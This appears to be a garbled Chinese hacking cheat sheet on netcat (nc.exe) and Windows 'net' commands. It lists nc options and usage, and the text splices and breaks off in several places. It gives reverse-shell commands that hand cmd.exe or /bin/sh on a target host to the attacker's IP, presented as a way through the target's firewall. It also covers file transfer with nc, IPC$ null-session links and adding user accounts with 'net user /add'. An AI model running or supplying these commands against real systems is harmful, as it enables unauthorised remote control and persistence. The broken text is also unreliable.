1、瑞士军刀：nc.exe 参数说明： -h 查看帮助信息 -d 后台模式 -e prog程序重定向，一但连接就执行［危险］ -i secs延时的间隔 -l 监听模式，用于入站连接 -L 监听模式，连接天闭后仍然继续监听，直到CTR+C -n IP地址，不能用域名 -o film记录16进制的传输 -p[空格]端口 本地端口号 -r 随机本地及远程端口 -t 使用Telnet交互方式 -u UDP模式 -v 详细输出，用-vv将更详细 -w数字 timeout延时间隔 -z 将输入，输出关掉（用于扫锚时） 基本用法： nc -nvv 192.168.0.1 80 连接到192.16< c:honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:honeyport.txt中内容送入管道中，亦可起到传送文件作用 type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 本机上用：nc -l -p 本机端口 在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称 在对方主机上用：nc -vv 本机IP 本机端口 >< 或 ><"，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令 ＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:winnt >

net use \ipipc$ ” ” /user:” ” 建立IPC空链接 net use \ipipc$ “密码” /user:”用户名” 建立IPC非空链接 net use h: \ipc$ “密码” /user:”用户名” 直接登陆后映射对方C：到本地为H: net use h: \ipc$ 登陆后映射对方C：到本地为H: net use \ipipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名　密码　/add 建立用户 ne